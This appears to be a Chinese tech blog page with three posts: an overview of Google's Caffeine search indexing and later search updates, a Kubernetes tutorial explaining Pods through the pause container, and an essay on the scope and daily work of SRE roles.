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Google搜索引擎架构Caffeine

Wed, 04 Dec 2024 22:09:28 CST

什么是 Google Caffeine？

Google Caffeine 是 Google 搜索引擎的一次架构重构，旨在满足不断增长的互联网内容和用户实时搜索需求。它替代了 Google 早期的分层索引系统，转而采用更加实时的索引机制，使搜索结果更加快速和新鲜。

发布时间：Google 于 2009 年 8 月发布 Caffeine 项目 Beta 版本，并于 2010 年 6 月正式启用。

Google Caffeine的产生背景

传统索引架构的局限性

在 Caffeine 出现之前，Google 使用的是一个分层的索引结构：

分层索引：
- 数据分为“主索引”和“增量索引”。
- 主索引：周期性地更新，通常需要几天或几周。
- 增量索引：包含最新的数据，但覆盖范围较小。
更新延迟：对于新增的网页或内容，用户可能需要等待较长时间才能在搜索结果中看到。
扩展性瓶颈：随着互联网内容的指数增长，传统架构难以高效处理。

Google Caffeine 的目标

提高索引速度：支持更快地抓取和处理新增内容（如新闻、博客、社交媒体）。
改进搜索结果的新鲜度：实现接近实时的搜索结果，用户能够快速获取最新信息。
扩展性：提升 Google 数据中心的存储和处理能力，满足日益增长的互联网规模。
提升性能：降低搜索延迟，改善用户体验。

Google Caffeine 的核心特性

实时索引：
- Caffeine 实现了一个单层实时索引系统。
- 新的网页和内容在被抓取后，几乎立即可供搜索使用。
分布式处理：
- 利用 Google 的分布式文件系统（GFS），对网页进行分片存储和处理。
- 大量服务器协同工作，提高数据处理速度。
高效的分片机制：
- 把网页划分为多个独立的“索引片”（index shard），每个片可以独立更新和查询。
改进抓取策略：
- 更频繁地抓取更新频率高的网站（如新闻网站）。
- 对重要页面和内容优先处理。
支持海量数据：
- Caffeine 的架构允许 Google 索引比以前多得多的网页内容，同时支持更多种类的数据（如图片、视频、实时内容）。

Caffeine 的技术优势

特性	传统索引架构	Google Caffeine
索引更新频率	周期性（数天至数周）	实时更新
处理速度	较慢	高效并行处理
扩展性	有限	动态可扩展
数据类型支持	主要是网页	多种数据类型

速度与效率：每秒可以处理数以千计的网页更新，显著提高了索引更新的频率。
可扩展性：动态扩展索引容量，适应互联网规模的持续增长。
新鲜度：通过实时处理机制，确保用户搜索结果中始终包含最新内容。
数据融合：Caffeine 不仅索引网页，还将图片、视频、社交媒体内容等多种类型数据整合到搜索结果中。

Google Caffeine的影响

对用户的影响

更快的搜索结果：用户可以几乎实时地获得最新的新闻、博客和社交媒体内容。
更全面的搜索覆盖：索引规模的扩大意味着用户能够搜索到更多样化的内容。
搜索体验提升：减少了延迟，搜索结果更加相关。

对网站管理员的影响

频繁抓取：Googlebot 的抓取频率增加，对频繁更新的网站尤为明显。
关注内容更新：网站需要更注重内容质量和频繁更新，以便在搜索中保持竞争力。
页面权重动态变化：页面排名可能会更快地反映内容的更新和链接关系的变化。

对互联网行业的影响

推动实时搜索：其他搜索引擎（如 Bing、Yahoo）也纷纷改进索引技术，以缩短数据处理延迟。
促进内容生产：更快速的内容索引激励了新闻网站和博客作者加速生产优质内容。
提高搜索质量：用户能够获得更加多样化和相关的搜索结果。

Google Caffeine 是一次革命性的搜索引擎升级，标志着搜索技术进入实时化时代。它不仅大幅提升了 Google 的搜索能力，还推动了整个互联网生态系统的快速发展。如果对其架构或技术实现有更深入的兴趣，可以讨论相关的分布式系统和大规模数据处理技术（如 GFS、 Bigtable、 MapReduce 等）。

Google Caffeine后更新

Google Caffeine 的推出是 Google 搜索引擎历史上的重要里程碑，但它并不是终点。Caffeine 后，Google 持续在搜索算法、基础架构和用户体验方面进行升级，以应对互联网快速变化的需求和挑战。

Google 在 Caffeine 后的升级，主要集中在以下几个方向：

更智能的查询理解：RankBrain、BERT、MUM。
用户体验优化：移动优先索引、页面体验更新。
实时性与动态性：实时数据索引和搜索。
安全性与透明性：加强数据隐私和搜索可信度。
生成式 AI 的应用：引入生成式 AI，提供更全面和互动的答案。

每一次升级都反映了 Google 对搜索体验优化的持续追求，同时适应了技术趋势和用户需求的变化。

以下是 Google 在 Caffeine 后的主要升级和改进：

RankBrain（2015 年）

RankBrain 是 Google 搜索引擎引入的机器学习算法，用于更好地理解用户查询背后的意图，特别是长尾查询和模糊表达。

核心功能：
- 将查询转换为向量形式（数值表示），便于理解和匹配用户意图。
- 提升了对自然语言查询的处理能力。
影响：
- 搜索结果变得更加相关和智能。
- RankBrain 成为 Google 排名因素之一，与内容相关性和页面权威性共同决定排名。

BERT（2019 年）

BERT（Bidirectional Encoder Representations from Transformers） 是 Google 推出的基于深度学习的自然语言处理技术，用于理解查询的上下文含义。

核心改进：
- BERT 能双向分析查询中的词语和短语，而不是孤立地理解单个词。
- 尤其对长查询和疑问句效果显著。
应用场景：在多个语言版本的搜索中使用，改善了 70 多种语言的搜索质量。
举例：查询 “2019年在巴西的游客需要签证吗？”
- BERT 可以正确理解“在巴西”是对游客的修饰，而不是对签证的修饰。

移动优先索引（Mobile-First Indexing，2016 年启动，2021 年完成）

随着移动设备使用量的增加，Google 改变了索引策略，从桌面优先转向移动优先。

核心概念：Google 搜索索引以网站的移动版本为基础，而非桌面版本。
影响：
- 网站需要优化其移动页面，以确保排名不受影响。
- 响应式设计和快速加载成为关键因素。

Page Experience Update（页面体验更新，2021 年）

Google 强调用户体验因素，将 Core Web Vitals（核心网页指标）纳入排名算法。

核心指标：
- LCP（Largest Contentful Paint）：页面主要内容的加载速度。
- FID（First Input Delay）：用户与页面首次交互的响应速度。
- CLS（Cumulative Layout Shift）：页面布局稳定性。
其他因素：
- HTTPS 安全性。
- 无侵入性广告。
影响：更注重用户友好的设计，缓慢或交互不佳的网站可能失去排名。

MUM（Multitask Unified Model，2021 年）

MUM 是 Google 搜索的多任务统一模型，旨在更智能地处理复杂查询，并提供综合答案。

核心特点：
- 使用多模态模型，能够同时处理文本、图像甚至视频数据。
- 支持多语言理解，并能将知识迁移到不同语言。
应用场景：复杂查询（例如：计划登山旅行需要哪些准备？），MUM 可以整合多种资源，生成更全面的答案。
改进：支持图文结合的搜索，比如用户上传一张图片并配以问题。

实时搜索与增强数据呈现

Google 持续增强搜索结果的动态性和直观性：

实时搜索：整合新闻、社交媒体动态（如 Twitter）、股市变化等实时数据。
丰富的结果展示：
- 使用知识图谱（Knowledge Graph）提供结构化信息。
- 提供更直观的搜索结果卡片（例如：直接在搜索页面上显示天气、赛事结果、影片简介等）。

神经匹配（Neural Matching，2018 年）

Neural Matching 是一种基于神经网络的算法，专注于更好地匹配用户查询和网页内容之间的相关性。

特点：更偏向于全局语义理解，而非关键词匹配。
应用场景：特别是在用户查询中未使用精确关键词的情况下表现突出。

AI 驱动的改进（2023 年及之后）

Google 不断使用更先进的 AI 模型改进搜索引擎，包括生成式 AI 的引入：

生成式 AI 回答：提供直接的、简短的答案，尤其在用户提出的问题非常具体时。
对话式搜索：搜索引擎逐渐具备类似 ChatGPT 的能力，能够与用户进行多轮对话。

数据隐私与安全性改进

近年来，Google 加强了对用户数据隐私的保护，同时确保搜索结果的可信度：

隐私保护：为用户提供更多控制搜索记录的方式。
搜索透明性：提供“关于此结果”（About This Result）的功能，帮助用户了解来源的可靠性。

图解 K8S（03）：从 Pause 容器理解 Pod 的本质

Sat, 29 Jan 2022 20:46:37 CST

在 K8S 中，Pod 是最核心、最基础的资源对象，它是 Kubernetes 中调度最小单元，学习 K8S 很多时候，我们都是在跟 Pod 打交道，它的内容是最多的，需要分好多的章节才能将它讲透。

本篇作为 Pod 的首篇，打算先从咱们熟悉的 Docker 容器入手，介绍 Pod 的组成及其工作原理。

主要解决几个关键问题：

Pod 是什么？它与容器是什么关系？
为什么 K8S 不直接管理容器呢？

1. Pod 与容器的关系

都说 K8S 是容器编排引擎，那怎么 K8S 中最小的可管理可部署的计算单元是 Pod 而不是容器呢？

Pod 和容器，又是什么关系呢？

其实 Pod 只是一个抽象的逻辑概念，它是一组（一个或者多个）容器的集合，这些容器之间共享同一份存储、网络等资源。

使用 kubectl get po -o wide可以查看 pod 的列表，其中 READY 列代表该 Pod 总共有 1 个容器，并且该容器已经成功启动，可以对外提供服务了

登陆到该 Pod 年在到 worker 节点上，使用 docker ps 查看容器

咦？上面不是说该 Pod 只有一个容器吗？怎么这个 grep 出来，却有两个呢？

实际上，这个 pause 容器，是一个很特殊的容器，它又叫 infra 容器，是每个 Pod 都会自动创建的容器，它不属于用户自定义的容器。

那么这个 pause 容器有什么用呢？

接下来就来说说 pause 诞生的背景，它对 Pod 模型的理解有非常重要的意义。

2. Pause 容器

pause 容器镜像

使用 docker insepct [CONTAAINER_ID] 查看一下 pause 容器的详情信息，可以发现 pause 容器使用的镜像为

  registry.cn-hangzhou.aliyuncs.com/google_containers/pause:3.6

该镜像非常小，只有 484KB，由于它总是处于 Pause （暂时）状态，所以取名叫 pause

想了解该 pause 容器的构成（代码是用 C 语言写的）的可以去官方仓库上一看究竟：https://github.com/kubernetes/kubernetes/tree/master/build/pause

pause 容器作用

上面我们说，一个 Pod 是由一组容器组成的，这些容器之间共享存储和网络资源，那么网络资源是如何共享的呢？

假设现在有一个 Pod，它包含两个容器（A 和 B），K8S 是通过让他们加入（join）另一个第三方容器的 network namespace 实现的共享，而这个第三方容器就是 pause 容器。

这么做的目的，其实很简单，想象一下，如果没有这样的第三方容器，会发生怎样的结果？

没有 pause 容器，那么 A 和 B 要共享网络，要不就是 A 加入 B 的 network namespace，要嘛就是 B 加入 A 的 network namespace，而无论是谁加入谁，只要 network 的 owner 退出了，该 Pod 里的所有其他容器网络都会立马异常，这显然是不合理的。

反过来，由于 pause 里只有是挂起一个容器，里面没有任何复杂的逻辑，只要不主动杀掉 Pod，pause 都会一直存活，这样一来就能保证在 Pod 运行期间同一 Pod 里的容器网络的稳定。

我们在同一 Pod 里所有容器里看到的网络视图，都是完全一样的，包括网络设备、IP 地址、Mac 地址等等，因为他们其实全是同一份，而这一份都来自于 Pod 第一次创建的这个 Infra container。

由于所有的业务容器都要依赖于 pause 容器，因此在 Pod 启动时，它总是创建的第一个容器，可以说 Pod 的生命周期就是 pause 容器的生命周期。

3. 手工模拟 Pod

从上面我们已经知道，一个 Pod 从表面上来看至少由一个容器组成，而实际上一个 Pod 至少要有包含两个容器，一个是业务容器，一个是 pause 容器。

理解了这个模型，我们就可以用以前熟悉的 docker 容器，手动创建一个真正意义上的 Pod。

创建 pause 容器

使用 docker run 加如下参数：

--name：指定 pause 容器的名字，fake_k8s_pod_pause
-p 8888:80：将宿主机的 8888 端口映射到容器的 80 端口

创建 nginx 容器

创建容器之前先准备一下 nginx.conf 配置文件

然后运行如下命令创建名字 fake_k8s_pod_nginx 的 nginx 容器

其中 -v 参数是将宿主机上的 nginx.conf 文件挂载给 nginx 容器

除此之外，还有另外三个核心参数：

--net：指定 nginx 要 join 谁的 network namespace，当然是前面创建的fake_k8s_pod_pause
--ipc：指定 ipc mode，一样指定前面创建的fake_k8s_pod_pause
--pid：指定 nginx 要 join 谁的 pid namespace，照旧是前面创建的fake_k8s_pod_pause

创建 ghost 容器

有了 nginx 还不够，还需要有人提供网页的数据，这里使用 ghost 这个博客应用，参数和上面差不多，这里不再赘述。

到这里，我就纯手工模拟出了一个符合 K8S Pod 模型的 “Pod” ，只是它并不由 K8S 进行管理。

这个 “Pod” 由一个 fake_k8s_pod_pause 容器（负责提供可稳定共享的命名空间）和两个共享 fake_k8s_pod_pause 容器命名空间的两业务容器。

访问 “Pod” 服务

由于我是在 worker （ip 为 172.20.20.11）节点上创建的 “Pod”，因此在我的 Mac 电脑上，直接访问 http://172.20.20.11:8888/ 就可以访问该博客啦

4. 创建真正的 Pod

上一节，我在 K8S 生态之外，单纯使用 Docker 创建了三个容器（Pause、Nginx、Ghost），这三个容器的的组合，在 K8S 中称之为 Pod。

如果没有 K8S 的 Pod ，你启动一个 ghost 博客服务，你需要手动创建三个容器，当你想销毁这个服务时，同样需要删除三个容器。

而有了 K8S 的 Pod，这三个容器在逻辑上就是一个整体，创建 Pod 就会自动创建三个容器，删除 Pod 就会删除三个容器，从管理上来讲，方便了不少。

这正是 Pod 存在的一个根本意义所在。

那到底有多方便呢？还是以上面 ghost 博客为例，下面我会介绍如何 K8S 中创建一个像上面一样的博客应用？

创建 ConfigMap

ConfigMap 也是 K8S 中的一个对象，目前还没有学到，你只要知道它是一个用来存储信息的对象即可

使用如下命令即可创建一个 ConfigMap 对象，用它来存储 nginx.conf 文件。

  kubectl create configmap nginx-config --from-file=nginx.conf

使用 -o yaml 参数，就能看到 nginx.conf 文件中的内容。

创建 Pod

接着执行如下命令创建一个 ghost.yaml 文件（yaml 文件内容，在文末获取）

然后直接 apply 该文件就可以创建一个 ghost 服务，从输出可以看到这里的 READY 变成了 2/2，意思是该 Pod 总共包含 2 个容器，目前已经全部准备就绪。

此时再去访问 http://172.20.20.11:8888/ 一样可以访问博客页面

5. 总结一下

本文以 pause 容器为突破口，在脱离 K8S 生态之下，使用 docker 手工创建具有业务相关的多个容器，模拟出最初的 Pod 模型，理解了这个基本就对 Pod 的意义有了一个直观、深刻的认识。

SRE 的工作介绍

Sat, 06 Nov 2021 23:23:03 CST

有很多人问过我想了解一下 SRE 这个岗位，这是个很大的话题，在这篇博客中把想到的一些介绍一下吧。

SRE 到底是什么？这是一个最早由 Google 提出的概念，我的理解是，用软件解决运维问题。标准化，自动化，可扩展，高可用是主要的工作内容。这个岗位被提出的时候，想解决的问题是打破开发人员想要快速迭代，与运维人员想要保持稳定，拒绝频繁更新之间的矛盾。

SRE 目前对于招聘来说还是比较困难。一方面，这个岗位需要一定的经验，而应届生一般来说不会有运维复杂软件的经历；另一方面就是很多人依然以为这就是“运维”工程师，认为做的是一些低级重复的工作，对这个工作有排斥。最根本的，其实这个岗位寻找的要么是具有运维经验的开发人员，要么是具有软件开发技能的运维工程师。所以比较难以找到合适的人。

在现实生活中，不同公司的 SRE 岗位大有不同，有一些甚至可能还是传统运维的名字换了一个岗位名称。

比如蚂蚁金服有两种 SRE，一种是负责稳定性的，就是大家所理解的 SRE；另一种叫做资金安全 SRE，并不负责服务正常运行，而是负责金钱数目正确，对账没有错误，工作内容以开发为主，主要是资金核对平台和核对规则（没有做过，只是个人理解）。某种意义上说，已经不算是 SRE 而是专业领域的开发了。

Netflix （2016年）的模式是谁开发，谁维护。SRE 负责提供技术支持，和咨询服务。Netflix 在全球 170 个国家有服务，Core SREs 只有 5 个人。

微软有专门的 Game Streaming SRE，负责 XBox 在线游戏的稳定性。

所以不同公司的 SRE 的内容各有偏重，取决于公司要提供什么样的服务。

我们可以学习网络分层的方式，将 SRE 大致的工作内容从下往上分成 3 个大类：

Infrastructure：主要负责最基础的硬件设施，网络，类似于 IaaS，做的事情可参考 DigitalOcean
Platform：提供中间件技术，开箱即用的一些服务，类似于 PaaS，做的事情可参考 Heroku, GCP, AWS 等
业务 SRE：维护服务，应用，维护业务的正常运行

Infrastructure

Infrastructure 和 Platform SRE 其实可有可无，这些年商业化的服务其实越来越多了，比如，如果公司选择全部在 AWS 部署自己的服务的话，那么就不需要自己建立 Datacenter，维护网络之类的工作了，只需要几个 AWS 专家即可。

如果有的话，工作内容也可大可小。可以从管理购买的 VPS 开始，也可以从采购硬件服务器开始。

我觉得 Infrastructure SRE 的工作内容可以这样定义：

负责服务器的采购，预算，CMDB 管理。要知道（能查询到）每一台的负责人是谁，在干什么。这个非常重要，如果做不好，会造成极大的资源浪费。
提供可靠软件的部署环境，一般是虚拟机，或者 bare mental。
操作系统的版本统一维护，Linux 发行版的版本，Kernel 的版本等。
维护机器上的基础软件，比如 NTP，监控代理，其他的一些代理。
提供机器的登录方式，权限管理，命令审计。
维护一套可观测性的基础设施，比如监控系统，log 系统，trace 系统。
维护网络，大公司可能都会自己设计机房内的网络。其中包括：
1. 网络的连通，这个是必要的。对于上层用户（Platform SRE）来说，交付的服务应该是任意两个 IP 是可以 ping 通的，即管理好 3 层以下的网络。
2. NAT 服务
3. DNS 服务
4. 防火墙
5. 4 层负载均衡，7层负载均衡
6. CDN
7. 证书管理

每一项既可以是一个很大的团队，也可以只有一个人去对商业化的 Infra 服务。可以使用开源的产品，也可以自己研发。

Platform SRE

Infrastructure SRE 维护的是基础设施，Platform SRE 使用他们提供的基础设施建立软件服务，让公司内的开发者可以使用开箱即用的软件服务，比如 Queue，Cache，定时任务，RPC 服务等等。

主要的工作内容有：

RPC 服务：让不同的服务可以互相发现并调用
私有云服务
队列服务，比如 Kafka 或者 RabbitMQ
分布式的 cronjob 服务
Cache
网关服务：反向代理的配置
对象存储：s3
其他一些数据库：ES，mongo 等等。一般来说，关系型数据库会有 DBA 来运维，但是 NoSQL 或者图数据库一般由 SRE 维护。
内部的开发环境：
1. SCM 系统，比如自建的 Gitlab
2. CI/CD 系统
3. 镜像系统，比如 Harbor
4. 其他的一些开发工具，比如分布式编译，Sentry 错误管理等等
一些离线计算环境，大数据的服务

业务 SRE

有了 Platform SRE 的支持，开发人员写代码就基本上不需要关心部署的问题了。可以专注于开发，使用公司开箱即用的服务。这一层的 SRE 更加贴近于业务，知道业务是怎么运行的，请求是怎么处理的，依赖了哪些组件。如果 X 除了问题，可以有哪些降级策略。参与应用的架构设计，提供技术支持。

主要的工作内容有：

参与系统的设计。比如熔断、降级，扩容等策略。
做压测，了解系统的容量。
做容量规划。
业务侧的 Oncall。

对于一个专业的 SRE 来说，上述技能也不应该有明显的界限，比如说业务 SRE 也需要掌握一些网络技能，Infra SRE 也要写一些代码。很多工具每一个岗位的人都多少用的到，比如 Ansible/Puppet/SaltStack 这种 IT 自动化工具，或者 Grafana/Prometheus 这种监控工具，只有理解才能用的正确。换个角度讲，对于业务 SRE 来说，虽然基本上不会去管理四层以下的网络，但是如果遇到网络问题，能通过已有的工具和权限排查到交换机问题，去找 Infra SRE 帮忙：“请帮我看下 xx IP 到交换机是否有异常，因为 xxx 显示的结果是 xx”，总比 “我怀疑 xx 有网络问题，请帮忙排查下” 要好一些吧？

以上是工作职责的大体划分，这个分层其实没有什么意义，倒是可以让读者了解一下 SRE 都涉及哪一些工作。

下面是一些日常的工作内容。

部署服务

部署分成两种：

Day 1：将服务部署上线的那一天
Day 2+：服务部署之后，还会进行很多更新，升级，配置更改，服务迁移等等

Day2+ 的工作要做很多次，Day 1 做的很少，在不断的迭代升级之后，还能保证有一个可靠的 Day 1 操作是很难的。换句话说，我们在服务部署之后一直改来改去，还要保证这个服务在一个全新的环境能够可靠的部署起来。部署环境的硬编码，奇奇怪怪的 work around，都会破坏 Day 1 的可靠性。之前一家公司，扩容一个新机房的过程简直是噩梦，太多的奇怪配置，hardcode，导致踩过无数个坑才能在一个新的机房部署起来全部的服务。

Day2+ 的操作也不简单，主要要关注稳定性。对于重要的变更操作要设计好变更计划，如何做到灰度测试，如果出了问题应该如何回滚，如何保证回滚可以成功（如何测试回滚）等等。

部署的操作最好都是可以追踪的，因为并不是所有会引起问题的操作都会立即引起问题。比如一个操作当时做完没有什么问题，但是过了 1 个月，偶然的重启或者内存达到了某一个指标触发了问题。如果能记录操作的话，我们可以回溯之前做过的变更，方便定位问题。现在一般都用 git 来追踪部署过程的变更（ gitops）。

Oncall

Oncall 简单来说就是要保证线上服务的正常运行。典型的工作流程是：收到告警，检查告警发出的原因，确认线上服务是否有问题，定位到问题，解决问题。

收到告警并不总意味着真正的问题，也有可能告警设置的不合理。告警和监控面板并不是一个静态的配置，它应该是每天都在变化的，时刻在调整的。如果发现没有标志真正线上问题的告警发了出来，就应该修改告警规则。如果发现当前的监控无法快速定位问题，应该调整监控面板，添加或者删除监控指标。业务在发展，请求量在变化，某些阈值也需要不断地调整。

定位问题没有一概而论的方法了，需要根据看到的实时，结合自己的经验，然后做推测，然后使用工具验证自己的推测，然后确定问题的根因。

但是解决问题是可以有方法论的，叫做 SOP，标准操作流程。即：如果出现了这种现象，那么执行那种操作，就可以恢复业务。SOP 文档应该提前制定，并且验证其有效性。

需要注意的是上述定位问题、解决问题 并没有顺序关系。一个经常犯的错误是，在出现故障的时候，花了很长时间定位到故障的根因，然后再修复。这样花的时间一般会比较长。正确的做法是先根据现象看现有的 SOP 能否恢复业务。比如说当前错误只发生在某一个节点上，那么就直接下线这个节点，具体的原因后面再排查。恢复当前的故障永远是第一要务。但是恢复操作也要经过测试，比如猜测可以通过重启解决问题的话，可以先重启一台做测试，而不是一次性将所有服务重启。大部分情况是需要临场分析的，是一个紧张又刺激的过程。

故障到底多久恢复算好？出现多少故障是可以容忍的？怎么标志服务的稳定性到底如何？我们使用 SLI/SLO 来衡量这些问题。

制定和交付 SLI/SLO

维护服务等级协议，听起来像是一个非常简单的事情，只要“设定一个可用率”然后去实现它就好了。然而现实的情况并不是。

比如，制定可用率的时候，并不是说我们去“实现4个9”（99.99% 的时间可用）就够了，我们有以下问题要考虑：

如何定义这个可用率？比如我们以可用率 > 99.9% 为目标，有一个服务部署了 5 个 Zone, 那么有一个 Zone 挂了，其余的 Zone 是可用的，那么可用率被破坏了吗？这个可用率是每一个 Zone 的还是所有的 Zone 一起计算的？
可用率计算的最小单位是什么？如果 1min 内有 50s 没有达到可用率，那么这一分钟算是 down 还是 up？
可用率的周期是怎么计算的？按照一个月还是一个周？一个周是最近的 7 天还是计算一个自然周？
如何对 SLI 和 SLO 做监控？
如果错误预算即将用完，有什么措施？比如减少发布？如果 SLI 和 SLO 没有达到会怎么样？

等等，如果这些问题不考虑清楚的话，那么 SLI 和 SLO 很可能就是没有意义的。SLI/SLO 也适用于对公司内部用户的承诺，让用户对我们的服务有预期，而不能有盲目的信任。比如 Google 在 SLI/SLO 还有预算的时候，会在满足 SLI/SLO 的时候自行对服务做一些破坏，让用户不要对服务有 100% 可用的错误预期。SLI/SLO 也会让 SRE 自己对当前服务的稳定性有更好的认识，可以根据此调整运维、变更、发布计划。

故障复盘

故障复盘的唯一目的是减少故障的发生。有几个我目前认为不错的做法。

故障复盘需要有文档记录，包括故障发生的过程，时间线的记录，操作的记录，故障恢复的方法，故障根因的分析，为什么故障会发生的分析。文档应该隐去所有当事人的姓名对公司的所有人公开。很多公司对故障文档设置查看权限，我觉得没什么道理。有些公司的故障复盘甚至对外也是公开的。

故障在复盘的时候应该将当事人的名字用代码替代，可以营造更好的讨论氛围。

不应该要求所有的故障复盘都产生 Action。之前一家的公司的故障复盘上，因为必须给领导一个“交待”，所以每次都会产生一些措施来预防相同的故障再次发生，比如增加审批流程之类的。这很扯，让级别很高的领导审批他自己也看不懂的操作，只能让领导更痛苦，也让操作流程变得又臭又长，最后所有人都会忘记这里为什么会有一个审批，但是又没有人敢删掉。你删掉，出了事情你负责。

Blame Free 文化？之前我认为是好的。但是后来发现，有些不按照流程操作导致的问题确实多少应该 Blame 一下，比如下线服务的时候没有检查还没有 tcp 连接就直接下线了，或者操作的时候没有做 canary 就全部操作了，这种不理智的行为导致的故障。但是条条框框又不应该太多，不然活都没法干了。

容量规划

容量规划是一个非常复杂的问题，甚至有一些悖论。容量要提前做好规划，但是容量的规划需要知道业务的扩张速度，扩张速度这种事情又不是提前能计划好的。所以我一直觉得这个事情很难做，也一直没有见过做的很好的例子。

但是至少可以对维护的系统建立一个模型，知道多少机器，多少资源，能容纳多少容量。这样遇到大促之类的活动也能及时估算需要的资源数量。

用户支持

用户支持也是日常的一部分。包括技术咨询，以及用户要求的线上问题排查。

这里就需要提到文档的重要性了。如果没有维护好文档，那么用户就会一遍又一遍问相同的问题。写文档也是一个技术活，优秀的需要很长时间的积累。文档也需要经常更新。我一般会这样，保持这样一种状态：用户可以不需要任何人就从文档中找到他需要的所有答案。如果我发现用户的问题无法从文档中找到，或者难以找到在文档中的什么地方，就会更新文档，或者重新组织文档。如果用户的问题已经从文档中找到，那么就直接发文档给他。如果用户的问题显然是文档看都没有看过（有很多人根本不看文档的，只看文档是谁写的然后径直去问这个人），就直接忽略。

优秀的文档应该尽量引入少的专有名词，少使用没有用处的专业词汇描述，只描述具有指导意义的事实，假定用户没有相关的背景知识，列举使用例子，举一些现实会用到的例子而不是强行举例子，明确 Bad Case。等等。这其实是一个很大的话题了，这里就不展开了。

暂时就想到这一些了。下面写一些我经常见到的误解，和经常被别人问的问题。

有关做项目没有专业团队得不到训练。

这方面是听到最多的抱怨。虽然说 SRE 在工作上应该是开发时间和运维时间各 50%，但是真实的情况是，即使 SRE 有一些开发工作，也大部分是面向内部用户，面向公司内部的开发者的。大部分项目是一些想法，需要去尝试一下行不行，基本上不会有专业的设计资源，PM 资源。这种项目就需要 SRE 有多方面的技能，包括对产品的理解，清楚地知道它有什么痛点，最好是自己经历过的痛点，然后需要懂设计，管理好开发进度。然而这种人非常少。其实能写中型项目代码的 SRE 就已经非常少了。所以大部分公司内部项目都会做的又难用又复杂。

即使是有专业配套 PM 和设计，甚至前端资源。基本上也是一个灾难。我也经历过这样的团队。这种内部项目对标的不是互联网项目，而更像是 toB 的项目。用户 UI 的设计，交互逻辑，操作流程，交付周期等需要的都是另一个领域的知识。否则的话人越多，也只会徒增沟通成本，拖慢项目进度。

回到经常听到的这个抱怨，说在 SRE 的团队没有像开发团队那样有“正规军”，有设计和 PM，大家各司其职，后端开发只要对齐 API 然后实现就好了。大部分的应届生会有这样的幻想，但实际上不是这样。被搞错的最重要的一点是， 学习主要是靠自己的，和别人没有太大的关系。我觉得可能是在一个大团队里面，有很多人一起做一件事情，心里的怀疑和焦虑会少一点，人们会对这样的工作状态感到踏实，误以为是“成长”，自己做所有的工作焦虑更多。

事实是，在大团队工作可能学到更多的沟通技能，比如和不同的人对齐不同的阶段工作目标，要想要学到其他的东西还是要靠自己。比如拿到一个设计，如果照样子去实现了，其实不会学到什么东西。而要去理解为什么这么设计，为什么不那么设计。如果自己去做，思考的过程也基本是这样的，可以怎么设计，选择什么好。都是：思考，选择，尝试，经验，思考……

另一个需要澄清的误区是，模仿并不是学习。在团队中经历了一个设计，如果记住了这个设计，下次碰到类似的问题也用这个设计去解决。这也不能叫做是学习。我见过有在业务部门做过支付的 SRE 写的代码，在内部系统中去实现了订单业务的订单、交易等概念完成一个运维流程，甚至 Model 的名字都没改过。拿着锤子找钉子，会让系统变得更加糟糕和复杂。

总之，工作分的细并不代表工作就会更加专业。一个人身兼数职业可以在每一个方面做得很专业。重要的是不断学习，使用正确的做事方式，向优秀的项目和优秀的开发者学习。

有关脏活累活。

每一项工作都会有脏活累活：学不到什么东西，做起来没有意思。可能是整理系统的监控，可能是整理现有的文档，可能清理一些年久的运维脚本，可能是需要和不同的团队做一些沟通工作等。

这是不可避免的，如果可以的话，学会从每一项工作中找一些偷懒的方法吧，比如用脚本处理一些工作，用更聪明的方式工作等等。

但是如果这种工作的比例太高的话，就要思考工作方式的问题了。如果陷入恶性循环，看能不能从工具和工作流程上做一些改变。如果不能的话，考虑换一份工作吧。

有关背锅。

互相甩锅的工作环境无疑是非常糟糕的工作环境。如果相同的团队、或者不同的团队之间需要相互勾心斗角的话，如果工作环境不允许大方承认（SRE 无可避免地会犯一些错误）自己的错误，说明公司营造的氛围有问题。比如某些公司规定，发生 P1 级别的错误就必须开除一个 Px 级别的员工，发生 P0 级别的错误就必须开除一个 Py 级别的员工一样。如果是这种情况的话，公司实际上是在用一种懒惰地方法通过提高人的压力来提高系统的稳定性。有没有效果不知道，但是确定的是不会有人在这种情况下工作的开心。建议换一份工作。

如何转行？

其实难度没有想象的高，毕竟大学里面没有一个叫做 SRE 的专业。SRE 要求的知识也是编写代码、设计系统、了解操作系统和网络等。所以在大学里面将本科的课程好好学好，尝试做（并维护）一些自己的项目，毕业的时候基本上就满足要求了。非科班的人要转行的话，也可以参考大学的课程内容去补足这方面的知识。

需要注意的是，培训班出来的做开发完成业务可能够，但是做 SRE 远远不够。SRE 不仅需要 make things work，还要知道背后的原理。

面试会问什么？

我觉得和后端开发的面试内容基本上差不多。

如果是去应聘的这个岗位所需要的一些技能，比如 K8S，监控系统等，可能也会问一些领域内的知识。虽说这部分工具性的东西都可以学习，但是如果人家要一个经验丰富的、或者入职就能干活的，那么面试成功的机会就会小很多。当然，也不必沮丧，这是市场的供需关系决定的，如果对方执意要找符合特定要求的候选人，那么对方的选择的范围也会小很多，不必因为错失了这种机会而后悔没去学习什么工具。话又说回来，技能越多，选择也会越多。

排查错误可能是转行做 SRE 最大的一个门槛，这个需要一些经验。如果没有经验的话，就补足一些操作系统的知识，这样遇到未知的问题也可以通过已知的知识和工具去排查。

做 SRE 需要会写代码吗？

会，而且写代码的要求并不会比一个专业的后端开发低。

选择大公司还是小公司？

这属于两种截然不同的工作环境。小公司一般都有一个救火英雄式的人物，在公司的时间比较长，知道所有组件的部署结构，什么都懂。跟着这种人学习会成长很快。

大公司细分领域很多。本文前面列出的内容可能每一项在大公司中都是一个团队，对某个领域可以深入研究。

所以还是看想要做什么了。我个人比较喜欢靠谱的小公司，或者大公司中靠谱的小团队。

如何判断一家公司是否靠谱？

对于 SRE 这个职位，我总结了一些判断的技巧。比如可以判断一下对方目前的业务和 SRE 员工的数量是否处于一个“正常”的状态，人数是否在随着业务（机器的数量）现象增长？这是一个不好的迹象。是否 SRE 的数量过多？如果 SRE 人太多，有两个可能的原因：1）某个领导为了扩大自己的影响力在为一些“不必要的”岗位招人，这样会导致人多事少，大家开始做一些奇奇怪怪的事情，发明奇奇怪怪的需求，以各种各样的方式浪费自己的时间来领公司的工资；2）这个公司的基础太差，大部分工作都是需要人力运维，导致基本上有多少机器就需要多少人。总之，都不是什么好事情。

一些技术比较好的公司，都没有庞大的 SRE 队伍，比如 Instagram, Netflix（现在可能人数不少了），以及一些创业公司，甚至都可以没有专门的 SRE，优秀的 SRE 首先要是开发者，优秀的开发者也离 SRE 不远了。一些耳熟能详的服务，比如 webarchive 这样的数据量，其实背后也只有几个人在维护。前几年面试了国内的一家公司，在机房遍布全球，业务已经发展的比较庞大（上市了）的时候，SRE 团队也只有 10 个人。

